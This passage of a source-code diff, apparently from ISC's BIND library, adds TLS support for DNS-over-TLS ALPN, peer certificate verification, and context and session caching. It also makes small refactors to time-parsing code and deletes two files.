 #endif // OPENSSL_VERSION_NUMBER >= 0x10002000L
 }
+#endif /* HAVE_LIBNGHTTP2 */
 
 void
-isc_tls_get_http2_alpn(isc_tls_t *tls, const unsigned char **alpn,
-		       unsigned int *alpnlen) {
+isc_tls_get_selected_alpn(isc_tls_t *tls, const unsigned char **alpn,
+			  unsigned int *alpnlen) {
 	REQUIRE(tls != NULL);
 	REQUIRE(alpn != NULL);
 	REQUIRE(alpnlen != NULL);
@@ -480,3 +953,814 @@ isc_tls_get_http2_alpn(isc_tls_t *tls, const unsigned char **alpn,
 	}
 #endif
 }
+
+static bool
+protoneg_check_protocol(const uint8_t **pout, uint8_t *pout_len,
+			const uint8_t *in, size_t in_len, const uint8_t *key,
+			size_t key_len) {
+	for (size_t i = 0; i + key_len <= in_len; i += (size_t)(in[i] + 1)) {
+		if (memcmp(&in[i], key, key_len) == 0) {
+			*pout = (const uint8_t *)(&in[i + 1]);
+			*pout_len = in[i];
+			return (true);
+		}
+	}
+	return (false);
+}
+
+/* dot prepended by its length (3 bytes) */
+#define DOT_PROTO_ALPN	   "\x3" ISC_TLS_DOT_PROTO_ALPN_ID
+#define DOT_PROTO_ALPN_LEN (sizeof(DOT_PROTO_ALPN) - 1)
+
+static bool
+dot_select_next_protocol(const uint8_t **pout, uint8_t *pout_len,
+			 const uint8_t *in, size_t in_len) {
+	return (protoneg_check_protocol(pout, pout_len, in, in_len,
+					(const uint8_t *)DOT_PROTO_ALPN,
+					DOT_PROTO_ALPN_LEN));
+}
+
+void
+isc_tlsctx_enable_dot_client_alpn(isc_tlsctx_t *ctx) {
+	REQUIRE(ctx != NULL);
+
+#if OPENSSL_VERSION_NUMBER >= 0x10002000L
+	SSL_CTX_set_alpn_protos(ctx, (const uint8_t *)DOT_PROTO_ALPN,
+				DOT_PROTO_ALPN_LEN);
+#endif /* OPENSSL_VERSION_NUMBER >= 0x10002000L */
+}
+
+#if OPENSSL_VERSION_NUMBER >= 0x10002000L
+static int
+dot_alpn_select_proto_cb(SSL *ssl, const unsigned char **out,
+			 unsigned char *outlen, const unsigned char *in,
+			 unsigned int inlen, void *arg) {
+	bool ret;
+
+	UNUSED(ssl);
+	UNUSED(arg);
+
+	ret = dot_select_next_protocol(out, outlen, in, inlen);
+
+	if (!ret) {
+		return (SSL_TLSEXT_ERR_NOACK);
+	}
+
+	return (SSL_TLSEXT_ERR_OK);
+}
+#endif /* OPENSSL_VERSION_NUMBER >= 0x10002000L */
+
+void
+isc_tlsctx_enable_dot_server_alpn(isc_tlsctx_t *tls) {
+	REQUIRE(tls != NULL);
+
+#if OPENSSL_VERSION_NUMBER >= 0x10002000L
+	SSL_CTX_set_alpn_select_cb(tls, dot_alpn_select_proto_cb, NULL);
+#endif // OPENSSL_VERSION_NUMBER >= 0x10002000L
+}
+
+isc_result_t
+isc_tlsctx_enable_peer_verification(isc_tlsctx_t *tlsctx, const bool is_server,
+				    isc_tls_cert_store_t *store,
+				    const char *hostname,
+				    bool hostname_ignore_subject) {
+	int ret = 0;
+	REQUIRE(tlsctx != NULL);
+	REQUIRE(store != NULL);
+
+	/* Set the hostname/IP address. */
+	if (!is_server && hostname != NULL && *hostname != '\0') {
+		struct in6_addr sa6;
+		struct in_addr sa;
+		X509_VERIFY_PARAM *param = SSL_CTX_get0_param(tlsctx);
+		unsigned int hostflags = X509_CHECK_FLAG_NO_PARTIAL_WILDCARDS;
+
+		/* It might be an IP address. */
+		if (inet_pton(AF_INET6, hostname, &sa6) == 1 ||
+		    inet_pton(AF_INET, hostname, &sa) == 1)
+		{
+			ret = X509_VERIFY_PARAM_set1_ip_asc(param, hostname);
+		} else {
+			/* It seems that it is a host name. Let's set it. */
+			ret = X509_VERIFY_PARAM_set1_host(param, hostname, 0);
+		}
+		if (ret != 1) {
+			ERR_clear_error();
+			return (ISC_R_FAILURE);
+		}
+
+#ifdef X509_CHECK_FLAG_NEVER_CHECK_SUBJECT
+		/*
+		 * According to the RFC 8310, Section 8.1, Subject field MUST
+		 * NOT be inspected when verifying a hostname when using
+		 * DoT. Only SubjectAltName must be checked instead. That is
+		 * not the case for HTTPS, though.
+		 *
+		 * Unfortunately, some quite old versions of OpenSSL (< 1.1.1)
+		 * might lack the functionality to implement that. It should
+		 * have very little real-world consequences, as most of the
+		 * production-ready certificates issued by real CAs will have
+		 * SubjectAltName set. In such a case, the Subject field is
+		 * ignored.
+		 */
+		if (hostname_ignore_subject) {
+			hostflags |= X509_CHECK_FLAG_NEVER_CHECK_SUBJECT;
+		}
+#else
+		UNUSED(hostname_ignore_subject);
+#endif
+		X509_VERIFY_PARAM_set_hostflags(param, hostflags);
+	}
+
+	/* "Attach" the cert store to the context */
+	SSL_CTX_set1_cert_store(tlsctx, store);
+
+	/* enable verification */
+	if (is_server) {
+		SSL_CTX_set_verify(tlsctx,
+				   SSL_VERIFY_PEER |
+					   SSL_VERIFY_FAIL_IF_NO_PEER_CERT,
+				   NULL);
+	} else {
+		SSL_CTX_set_verify(tlsctx, SSL_VERIFY_PEER, NULL);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+isc_tlsctx_load_client_ca_names(isc_tlsctx_t *ctx, const char *ca_bundle_file) {
+	STACK_OF(X509_NAME) * cert_names;
+	REQUIRE(ctx != NULL);
+	REQUIRE(ca_bundle_file != NULL);
+
+	cert_names = SSL_load_client_CA_file(ca_bundle_file);
+	if (cert_names == NULL) {
+		ERR_clear_error();
+		return (ISC_R_FAILURE);
+	}
+
+	SSL_CTX_set_client_CA_list(ctx, cert_names);
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+isc_tls_cert_store_create(const char *ca_bundle_filename,
+			  isc_tls_cert_store_t **pstore) {
+	int ret = 0;
+	isc_tls_cert_store_t *store = NULL;
+	REQUIRE(pstore != NULL && *pstore == NULL);
+
+	store = X509_STORE_new();
+	if (store == NULL) {
+		goto error;
+	}
+
+	/* Let's treat empty string as the default (system wide) store */
+	if (ca_bundle_filename != NULL && *ca_bundle_filename == '\0') {
+		ca_bundle_filename = NULL;
+	}
+
+	if (ca_bundle_filename == NULL) {
+		ret = X509_STORE_set_default_paths(store);
+	} else {
+		ret = X509_STORE_load_locations(store, ca_bundle_filename,
+						NULL);
+	}
+
+	if (ret == 0) {
+		goto error;
+	}
+
+	*pstore = store;
+	return (ISC_R_SUCCESS);
+
+error:
+	ERR_clear_error();
+	if (store != NULL) {
+		X509_STORE_free(store);
+	}
+	return (ISC_R_FAILURE);
+}
+
+void
+isc_tls_cert_store_free(isc_tls_cert_store_t **pstore) {
+	isc_tls_cert_store_t *store;
+	REQUIRE(pstore != NULL && *pstore != NULL);
+
+	store = *pstore;
+
+	X509_STORE_free(store);
+
+	*pstore = NULL;
+}
+
+#define TLSCTX_CACHE_MAGIC    ISC_MAGIC('T', 'l', 'S', 'c')
+#define VALID_TLSCTX_CACHE(t) ISC_MAGIC_VALID(t, TLSCTX_CACHE_MAGIC)
+
+#define TLSCTX_CLIENT_SESSION_CACHE_MAGIC ISC_MAGIC('T', 'l', 'C', 'c')
+#define VALID_TLSCTX_CLIENT_SESSION_CACHE(t) \
+	ISC_MAGIC_VALID(t, TLSCTX_CLIENT_SESSION_CACHE_MAGIC)
+
+typedef struct isc_tlsctx_cache_entry {
+	/*
+	 * We need a TLS context entry for each transport on both IPv4 and
+	 * IPv6 in order to avoid cluttering a context-specific
+	 * session-resumption cache.
+	 */
+	isc_tlsctx_t *ctx[isc_tlsctx_cache_count - 1][2];
+	isc_tlsctx_client_session_cache_t
+		*client_sess_cache[isc_tlsctx_cache_count - 1][2];
+	/*
+	 * One certificate store is enough for all the contexts defined
+	 * above. We need that for peer validation.
+	 */
+	isc_tls_cert_store_t *ca_store;
+} isc_tlsctx_cache_entry_t;
+
+struct isc_tlsctx_cache {
+	uint32_t magic;
+	isc_refcount_t references;
+	isc_mem_t *mctx;
+
+	isc_rwlock_t rwlock;
+	isc_ht_t *data;
+};
+
+void
+isc_tlsctx_cache_create(isc_mem_t *mctx, isc_tlsctx_cache_t **cachep) {
+	isc_tlsctx_cache_t *nc;
+
+	REQUIRE(cachep != NULL && *cachep == NULL);
+	nc = isc_mem_get(mctx, sizeof(*nc));
+
+	*nc = (isc_tlsctx_cache_t){ .magic = TLSCTX_CACHE_MAGIC };
+	isc_refcount_init(&nc->references, 1);
+	isc_mem_attach(mctx, &nc->mctx);
+
+	isc_ht_init(&nc->data, mctx, 5, ISC_HT_CASE_SENSITIVE);
+	isc_rwlock_init(&nc->rwlock);
+
+	*cachep = nc;
+}
+
+void
+isc_tlsctx_cache_attach(isc_tlsctx_cache_t *source,
+			isc_tlsctx_cache_t **targetp) {
+	REQUIRE(VALID_TLSCTX_CACHE(source));
+	REQUIRE(targetp != NULL && *targetp == NULL);
+
+	isc_refcount_increment(&source->references);
+
+	*targetp = source;
+}
+
+static void
+tlsctx_cache_entry_destroy(isc_mem_t *mctx, isc_tlsctx_cache_entry_t *entry) {
+	size_t i, k;
+
+	for (i = 0; i < (isc_tlsctx_cache_count - 1); i++) {
+		for (k = 0; k < 2; k++) {
+			if (entry->ctx[i][k] != NULL) {
+				isc_tlsctx_free(&entry->ctx[i][k]);
+			}
+
+			if (entry->client_sess_cache[i][k] != NULL) {
+				isc_tlsctx_client_session_cache_detach(
+					&entry->client_sess_cache[i][k]);
+			}
+		}
+	}
+	if (entry->ca_store != NULL) {
+		isc_tls_cert_store_free(&entry->ca_store);
+	}
+	isc_mem_put(mctx, entry, sizeof(*entry));
+}
+
+static void
+tlsctx_cache_destroy(isc_tlsctx_cache_t *cache) {
+	isc_ht_iter_t *it = NULL;
+	isc_result_t result;
+
+	cache->magic = 0;
+
+	isc_refcount_destroy(&cache->references);
+
+	isc_ht_iter_create(cache->data, &it);
+	for (result = isc_ht_iter_first(it); result == ISC_R_SUCCESS;
+	     result = isc_ht_iter_delcurrent_next(it))
+	{
+		isc_tlsctx_cache_entry_t *entry = NULL;
+		isc_ht_iter_current(it, (void **)&entry);
+		tlsctx_cache_entry_destroy(cache->mctx, entry);
+	}
+
+	isc_ht_iter_destroy(&it);
+	isc_ht_destroy(&cache->data);
+	isc_rwlock_destroy(&cache->rwlock);
+	isc_mem_putanddetach(&cache->mctx, cache, sizeof(*cache));
+}
+
+void
+isc_tlsctx_cache_detach(isc_tlsctx_cache_t **cachep) {
+	isc_tlsctx_cache_t *cache = NULL;
+
+	REQUIRE(cachep != NULL);
+
+	cache = *cachep;
+	*cachep = NULL;
+
+	REQUIRE(VALID_TLSCTX_CACHE(cache));
+
+	if (isc_refcount_decrement(&cache->references) == 1) {
+		tlsctx_cache_destroy(cache);
+	}
+}
+
+isc_result_t
+isc_tlsctx_cache_add(
+	isc_tlsctx_cache_t *cache, const char *name,
+	const isc_tlsctx_cache_transport_t transport, const uint16_t family,
+	isc_tlsctx_t *ctx, isc_tls_cert_store_t *store,
+	isc_tlsctx_client_session_cache_t *client_sess_cache,
+	isc_tlsctx_t **pfound, isc_tls_cert_store_t **pfound_store,
+	isc_tlsctx_client_session_cache_t **pfound_client_sess_cache) {
+	isc_result_t result = ISC_R_FAILURE;
+	size_t name_len, tr_offset;
+	isc_tlsctx_cache_entry_t *entry = NULL;
+	bool ipv6;
+
+	REQUIRE(VALID_TLSCTX_CACHE(cache));
+	REQUIRE(client_sess_cache == NULL ||
+		VALID_TLSCTX_CLIENT_SESSION_CACHE(client_sess_cache));
+	REQUIRE(name != NULL && *name != '\0');
+	REQUIRE(transport > isc_tlsctx_cache_none &&
+		transport < isc_tlsctx_cache_count);
+	REQUIRE(family == AF_INET || family == AF_INET6);
+	REQUIRE(ctx != NULL);
+
+	tr_offset = (transport - 1);
+	ipv6 = (family == AF_INET6);
+
+	RWLOCK(&cache->rwlock, isc_rwlocktype_write);
+
+	name_len = strlen(name);
+	result = isc_ht_find(cache->data, (const uint8_t *)name, name_len,
+			     (void **)&entry);
+	if (result == ISC_R_SUCCESS && entry->ctx[tr_offset][ipv6] != NULL) {
+		isc_tlsctx_client_session_cache_t *found_client_sess_cache;
+		/* The entry exists. */
+		if (pfound != NULL) {
+			INSIST(*pfound == NULL);
+			*pfound = entry->ctx[tr_offset][ipv6];
+		}
+
+		if (pfound_store != NULL && entry->ca_store != NULL) {
+			INSIST(*pfound_store == NULL);
+			*pfound_store = entry->ca_store;
+		}
+
+		found_client_sess_cache =
+			entry->client_sess_cache[tr_offset][ipv6];
+		if (pfound_client_sess_cache != NULL &&
+		    found_client_sess_cache != NULL)
+		{
+			INSIST(*pfound_client_sess_cache == NULL);
+			*pfound_client_sess_cache = found_client_sess_cache;
+		}
+		result = ISC_R_EXISTS;
+	} else if (result == ISC_R_SUCCESS &&
+		   entry->ctx[tr_offset][ipv6] == NULL)
+	{
+		/*
+		 * The hash table entry exists, but is not filled for this
+		 * particular transport/IP type combination.
+		 */
+		entry->ctx[tr_offset][ipv6] = ctx;
+		entry->client_sess_cache[tr_offset][ipv6] = client_sess_cache;
+		/*
+		 * As the passed certificates store object is supposed
+		 * to be internally managed by the cache object anyway,
+		 * we might destroy the unneeded store object right now.
+		 */
+		if (store != NULL && store != entry->ca_store) {
+			isc_tls_cert_store_free(&store);
+		}
+		result = ISC_R_SUCCESS;
+	} else {
+		/*
+		 * The hash table entry does not exist, let's create one.
+		 */
+		INSIST(result != ISC_R_SUCCESS);
+		entry = isc_mem_get(cache->mctx, sizeof(*entry));
+		*entry = (isc_tlsctx_cache_entry_t){
+			.ca_store = store,
+		};
+
+		entry->ctx[tr_offset][ipv6] = ctx;
+		entry->client_sess_cache[tr_offset][ipv6] = client_sess_cache;
+		RUNTIME_CHECK(isc_ht_add(cache->data, (const uint8_t *)name,
+					 name_len,
+					 (void *)entry) == ISC_R_SUCCESS);
+		result = ISC_R_SUCCESS;
+	}
+
+	RWUNLOCK(&cache->rwlock, isc_rwlocktype_write);
+
+	return (result);
+}
+
+isc_result_t
+isc_tlsctx_cache_find(
+	isc_tlsctx_cache_t *cache, const char *name,
+	const isc_tlsctx_cache_transport_t transport, const uint16_t family,
+	isc_tlsctx_t **pctx, isc_tls_cert_store_t **pstore,
+	isc_tlsctx_client_session_cache_t **pfound_client_sess_cache) {
+	isc_result_t result = ISC_R_FAILURE;
+	size_t tr_offset;
+	isc_tlsctx_cache_entry_t *entry = NULL;
+	bool ipv6;
+
+	REQUIRE(VALID_TLSCTX_CACHE(cache));
+	REQUIRE(name != NULL && *name != '\0');
+	REQUIRE(transport > isc_tlsctx_cache_none &&
+		transport < isc_tlsctx_cache_count);
+	REQUIRE(family == AF_INET || family == AF_INET6);
+	REQUIRE(pctx != NULL && *pctx == NULL);
+
+	tr_offset = (transport - 1);
+	ipv6 = (family == AF_INET6);
+
+	RWLOCK(&cache->rwlock, isc_rwlocktype_read);
+
+	result = isc_ht_find(cache->data, (const uint8_t *)name, strlen(name),
+			     (void **)&entry);
+
+	if (result == ISC_R_SUCCESS && pstore != NULL &&
+	    entry->ca_store != NULL)
+	{
+		*pstore = entry->ca_store;
+	}
+
+	if (result == ISC_R_SUCCESS && entry->ctx[tr_offset][ipv6] != NULL) {
+		isc_tlsctx_client_session_cache_t *found_client_sess_cache =
+			entry->client_sess_cache[tr_offset][ipv6];
+
+		*pctx = entry->ctx[tr_offset][ipv6];
+
+		if (pfound_client_sess_cache != NULL &&
+		    found_client_sess_cache != NULL)
+		{
+			INSIST(*pfound_client_sess_cache == NULL);
+			*pfound_client_sess_cache = found_client_sess_cache;
+		}
+	} else if (result == ISC_R_SUCCESS &&
+		   entry->ctx[tr_offset][ipv6] == NULL)
+	{
+		result = ISC_R_NOTFOUND;
+	} else {
+		INSIST(result != ISC_R_SUCCESS);
+	}
+
+	RWUNLOCK(&cache->rwlock, isc_rwlocktype_read);
+
+	return (result);
+}
+
+typedef struct client_session_cache_entry client_session_cache_entry_t;
+
+typedef struct client_session_cache_bucket {
+	char *bucket_key;
+	size_t bucket_key_len;
+	/* Cache entries within the bucket (from the oldest to the newest). */
+	ISC_LIST(client_session_cache_entry_t) entries;
+} client_session_cache_bucket_t;
+
+struct client_session_cache_entry {
+	SSL_SESSION *session;
+	client_session_cache_bucket_t *bucket; /* "Parent" bucket pointer. */
+	ISC_LINK(client_session_cache_entry_t) bucket_link;
+	ISC_LINK(client_session_cache_entry_t) cache_link;
+};
+
+struct isc_tlsctx_client_session_cache {
+	uint32_t magic;
+	isc_refcount_t references;
+	isc_mem_t *mctx;
+
+	/*
+	 * We need to keep a reference to the related TLS context in order
+	 * to ensure that it remains valid while the TLS client sessions
+	 * cache object is valid, as every TLS session object
+	 * (SSL_SESSION) is "tied" to a particular context.
+	 */
+	isc_tlsctx_t *ctx;
+
+	/*
+	 * The idea is to have one bucket per remote server. Each bucket,
+	 * can maintain multiple TLS sessions to that server, as BIND
+	 * might want to establish multiple TLS connections to the remote
+	 * server at once.
+	 */
+	isc_ht_t *buckets;
+
+	/*
+	 * The list of all current entries within the cache maintained in
+	 * LRU-manner, so that the oldest entry might be efficiently
+	 * removed.
+	 */
+	ISC_LIST(client_session_cache_entry_t) lru_entries;
+	/* Number of the entries within the cache. */
+	size_t nentries;
+	/* Maximum number of the entries within the cache. */
+	size_t max_entries;
+
+	isc_mutex_t lock;
+};
+
+void
+isc_tlsctx_client_session_cache_create(
+	isc_mem_t *mctx, isc_tlsctx_t *ctx, const size_t max_entries,
+	isc_tlsctx_client_session_cache_t **cachep) {
+	isc_tlsctx_client_session_cache_t *nc;
+
+	REQUIRE(ctx != NULL);
+	REQUIRE(max_entries > 0);
+	REQUIRE(cachep != NULL && *cachep == NULL);
+
+	nc = isc_mem_get(mctx, sizeof(*nc));
+
+	*nc = (isc_tlsctx_client_session_cache_t){ .max_entries = max_entries };
+	isc_refcount_init(&nc->references, 1);
+	isc_mem_attach(mctx, &nc->mctx);
+	isc_tlsctx_attach(ctx, &nc->ctx);
+
+	isc_ht_init(&nc->buckets, mctx, 5, ISC_HT_CASE_SENSITIVE);
+	ISC_LIST_INIT(nc->lru_entries);
+	isc_mutex_init(&nc->lock);
+
+	nc->magic = TLSCTX_CLIENT_SESSION_CACHE_MAGIC;
+
+	*cachep = nc;
+}
+
+void
+isc_tlsctx_client_session_cache_attach(
+	isc_tlsctx_client_session_cache_t *source,
+	isc_tlsctx_client_session_cache_t **targetp) {
+	REQUIRE(VALID_TLSCTX_CLIENT_SESSION_CACHE(source));
+	REQUIRE(targetp != NULL && *targetp == NULL);
+
+	isc_refcount_increment(&source->references);
+
+	*targetp = source;
+}
+
+static void
+client_cache_entry_delete(isc_tlsctx_client_session_cache_t *restrict cache,
+			  client_session_cache_entry_t *restrict entry) {
+	client_session_cache_bucket_t *restrict bucket = entry->bucket;
+
+	/* Unlink and free the cache entry */
+	ISC_LIST_UNLINK(bucket->entries, entry, bucket_link);
+	ISC_LIST_UNLINK(cache->lru_entries, entry, cache_link);
+	cache->nentries--;
+	(void)SSL_SESSION_free(entry->session);
+	isc_mem_put(cache->mctx, entry, sizeof(*entry));
+
+	/* The bucket is empty - let's remove it */
+	if (ISC_LIST_EMPTY(bucket->entries)) {
+		RUNTIME_CHECK(isc_ht_delete(cache->buckets,
+					    (const uint8_t *)bucket->bucket_key,
+					    bucket->bucket_key_len) ==
+			      ISC_R_SUCCESS);
+
+		isc_mem_free(cache->mctx, bucket->bucket_key);
+		isc_mem_put(cache->mctx, bucket, sizeof(*bucket));
+	}
+}
+
+void
+isc_tlsctx_client_session_cache_detach(
+	isc_tlsctx_client_session_cache_t **cachep) {
+	isc_tlsctx_client_session_cache_t *cache = NULL;
+	client_session_cache_entry_t *entry = NULL, *next = NULL;
+
+	REQUIRE(cachep != NULL);
+
+	cache = *cachep;
+	*cachep = NULL;
+
+	REQUIRE(VALID_TLSCTX_CLIENT_SESSION_CACHE(cache));
+
+	if (isc_refcount_decrement(&cache->references) != 1) {
+		return;
+	}
+
+	cache->magic = 0;
+
+	isc_refcount_destroy(&cache->references);
+
+	entry = ISC_LIST_HEAD(cache->lru_entries);
+	while (entry != NULL) {
+		next = ISC_LIST_NEXT(entry, cache_link);
+		client_cache_entry_delete(cache, entry);
+		entry = next;
+	}
+
+	RUNTIME_CHECK(isc_ht_count(cache->buckets) == 0);
+	isc_ht_destroy(&cache->buckets);
+
+	isc_mutex_destroy(&cache->lock);
+	isc_tlsctx_free(&cache->ctx);
+	isc_mem_putanddetach(&cache->mctx, cache, sizeof(*cache));
+}
+
+static bool
+ssl_session_seems_resumable(const SSL_SESSION *sess) {
+#ifdef HAVE_SSL_SESSION_IS_RESUMABLE
+	/*
+	 * If SSL_SESSION_is_resumable() is available, let's use that. It
+	 * is expected to be available on OpenSSL >= 1.1.1 and its modern
+	 * siblings.
+	 */
+	return (SSL_SESSION_is_resumable(sess) != 0);
+#elif (OPENSSL_VERSION_NUMBER >= 0x10100000L)
+	/*
+	 * Taking into consideration that OpenSSL 1.1.0 uses opaque
+	 * pointers for SSL_SESSION, we cannot implement a replacement for
+	 * SSL_SESSION_is_resumable() manually. Let's use a sensible
+	 * approximation for that, then: if there is an associated session
+	 * ticket or session ID, then, most likely, the session is
+	 * resumable.
+	 */
+	unsigned int session_id_len = 0;
+	(void)SSL_SESSION_get_id(sess, &session_id_len);
+	return (SSL_SESSION_has_ticket(sess) || session_id_len > 0);
+#else
+	return (!sess->not_resumable &&
+		(sess->session_id_length > 0 || sess->tlsext_ticklen > 0));
+#endif
+}
+
+void
+isc_tlsctx_client_session_cache_keep(isc_tlsctx_client_session_cache_t *cache,
+				     char *remote_peer_name, isc_tls_t *tls) {
+	size_t name_len;
+	isc_result_t result;
+	SSL_SESSION *sess;
+	client_session_cache_bucket_t *restrict bucket = NULL;
+	client_session_cache_entry_t *restrict entry = NULL;
+
+	REQUIRE(VALID_TLSCTX_CLIENT_SESSION_CACHE(cache));
+	REQUIRE(remote_peer_name != NULL && *remote_peer_name != '\0');
+	REQUIRE(tls != NULL);
+
+	sess = SSL_get1_session(tls);
+	if (sess == NULL) {
+		ERR_clear_error();
+		return;
+	} else if (!ssl_session_seems_resumable(sess)) {
+		SSL_SESSION_free(sess);
+		return;
+	}
+
+	isc_mutex_lock(&cache->lock);
+
+	name_len = strlen(remote_peer_name);
+	result = isc_ht_find(cache->buckets, (const uint8_t *)remote_peer_name,
+			     name_len, (void **)&bucket);
+
+	if (result != ISC_R_SUCCESS) {
+		/* Let's create a new bucket */
+		INSIST(bucket == NULL);
+		bucket = isc_mem_get(cache->mctx, sizeof(*bucket));
+		*bucket = (client_session_cache_bucket_t){
+			.bucket_key = isc_mem_strdup(cache->mctx,
+						     remote_peer_name),
+			.bucket_key_len = name_len
+		};
+		ISC_LIST_INIT(bucket->entries);
+		RUNTIME_CHECK(isc_ht_add(cache->buckets,
+					 (const uint8_t *)remote_peer_name,
+					 name_len,
+					 (void *)bucket) == ISC_R_SUCCESS);
+	}
+
+	/* Let's add a new cache entry to the new/found bucket */
+	entry = isc_mem_get(cache->mctx, sizeof(*entry));
+	*entry = (client_session_cache_entry_t){ .session = sess,
+						 .bucket = bucket };
+	ISC_LINK_INIT(entry, bucket_link);
+	ISC_LINK_INIT(entry, cache_link);
+
+	ISC_LIST_APPEND(bucket->entries, entry, bucket_link);
+
+	ISC_LIST_APPEND(cache->lru_entries, entry, cache_link);
+	cache->nentries++;
+
+	if (cache->nentries > cache->max_entries) {
+		/*
+		 * Cache overrun. We need to remove the oldest entry from the
+		 * cache
+		 */
+		client_session_cache_entry_t *restrict oldest;
+		INSIST((cache->nentries - 1) == cache->max_entries);
+
+		oldest = ISC_LIST_HEAD(cache->lru_entries);
+		client_cache_entry_delete(cache, oldest);
+	}
+
+	isc_mutex_unlock(&cache->lock);
+}
+
+void
+isc_tlsctx_client_session_cache_reuse(isc_tlsctx_client_session_cache_t *cache,
+				      char *remote_peer_name, isc_tls_t *tls) {
+	client_session_cache_bucket_t *restrict bucket = NULL;
+	client_session_cache_entry_t *restrict entry;
+	size_t name_len;
+	isc_result_t result;
+
+	REQUIRE(VALID_TLSCTX_CLIENT_SESSION_CACHE(cache));
+	REQUIRE(remote_peer_name != NULL && *remote_peer_name != '\0');
+	REQUIRE(tls != NULL);
+
+	isc_mutex_lock(&cache->lock);
+
+	/* Let's find the bucket */
+	name_len = strlen(remote_peer_name);
+	result = isc_ht_find(cache->buckets, (const uint8_t *)remote_peer_name,
+			     name_len, (void **)&bucket);
+
+	if (result != ISC_R_SUCCESS) {
+		goto exit;
+	}
+
+	INSIST(bucket != NULL);
+
+	/*
+	 * If the bucket has been found, let's use the newest session from
+	 * the bucket, as it has the highest chance to be successfully
+	 * resumed.
+	 */
+	INSIST(!ISC_LIST_EMPTY(bucket->entries));
+	entry = ISC_LIST_TAIL(bucket->entries);
+	RUNTIME_CHECK(SSL_set_session(tls, entry->session) == 1);
+	client_cache_entry_delete(cache, entry);
+
+exit:
+	isc_mutex_unlock(&cache->lock);
+}
+
+void
+isc_tlsctx_client_session_cache_keep_sockaddr(
+	isc_tlsctx_client_session_cache_t *cache, isc_sockaddr_t *remote_peer,
+	isc_tls_t *tls) {
+	char peername[ISC_SOCKADDR_FORMATSIZE] = { 0 };
+
+	REQUIRE(remote_peer != NULL);
+
+	isc_sockaddr_format(remote_peer, peername, sizeof(peername));
+
+	isc_tlsctx_client_session_cache_keep(cache, peername, tls);
+}
+
+void
+isc_tlsctx_client_session_cache_reuse_sockaddr(
+	isc_tlsctx_client_session_cache_t *cache, isc_sockaddr_t *remote_peer,
+	isc_tls_t *tls) {
+	char peername[ISC_SOCKADDR_FORMATSIZE] = { 0 };
+
+	REQUIRE(remote_peer != NULL);
+
+	isc_sockaddr_format(remote_peer, peername, sizeof(peername));
+
+	isc_tlsctx_client_session_cache_reuse(cache, peername, tls);
+}
+
+const isc_tlsctx_t *
+isc_tlsctx_client_session_cache_getctx(
+	isc_tlsctx_client_session_cache_t *cache) {
+	REQUIRE(VALID_TLSCTX_CLIENT_SESSION_CACHE(cache));
+	return (cache->ctx);
+}
+
+void
+isc_tlsctx_set_random_session_id_context(isc_tlsctx_t *ctx) {
+	uint8_t session_id_ctx[SSL_MAX_SID_CTX_LENGTH] = { 0 };
+	const size_t len = ISC_MIN(20, sizeof(session_id_ctx));
+
+	REQUIRE(ctx != NULL);
+
+	RUNTIME_CHECK(RAND_bytes(session_id_ctx, len) == 1);
+
+	RUNTIME_CHECK(
+		SSL_CTX_set_session_id_context(ctx, session_id_ctx, len) == 1);
+}
+
+void
+isc__tls_setfatalmode(void) {
+	atomic_store(&handle_fatal, true);
+}
diff --git a/lib/isc/tls_p.h b/lib/isc/tls_p.h
deleted file mode 100644
index 5d44c64b93..0000000000
--- a/lib/isc/tls_p.h
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-void
-isc__tls_initialize(void);
-
-void
-isc__tls_shutdown(void);
diff --git a/lib/isc/tm.c b/lib/isc/tm.c
index 9c0a8e36f1..eafa118790 100644
--- a/lib/isc/tm.c
+++ b/lib/isc/tm.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0 AND BSD-2-Clause
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -94,11 +96,10 @@ conv_num(const char **buf, int *dest, int llim, int ulim) {
 	}
 
 	do {
-		result *= 10;
-		result += *(*buf)++ - '0';
+		result = 10 * result + *(*buf)++ - '0';
 		rulim /= 10;
-	} while ((result * 10 <= ulim) && rulim && **buf >= '0' &&
-		 **buf <= '9');
+	} while ((result * 10 <= ulim) && rulim &&
+		 isdigit((unsigned char)**buf));
 
 	if (result < llim || result > ulim) {
 		return (0);
@@ -134,7 +135,7 @@ isc_tm_timegm(struct tm *tm) {
 
 char *
 isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm) {
-	char c, *ret;
+	char c;
 	const char *bp;
 	size_t len = 0;
 	int alt_format, i, split_year = 0;
@@ -320,7 +321,7 @@ isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm) {
 
 		case 'k': /* The hour (24-hour clock representation). */
 			LEGAL_ALT(0);
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'H':
 			LEGAL_ALT(ALT_O);
 			if (!(conv_num(&bp, &tm->tm_hour, 0, 23))) {
@@ -330,7 +331,7 @@ isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm) {
 
 		case 'l': /* The hour (12-hour clock representation). */
 			LEGAL_ALT(0);
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'I':
 			LEGAL_ALT(ALT_O);
 			if (!(conv_num(&bp, &tm->tm_hour, 1, 12))) {
@@ -462,6 +463,5 @@ isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm) {
 	}
 
 	/* LINTED functional specification */
-	DE_CONST(bp, ret);
-	return (ret);
+	return (UNCONST(bp));
 }
diff --git a/lib/isc/trampoline.c b/lib/isc/trampoline.c
deleted file mode 100644
index 009e8d136b..0000000000
--- a/lib/isc/trampoline.c
+++ /dev/null
@@ -1,189 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
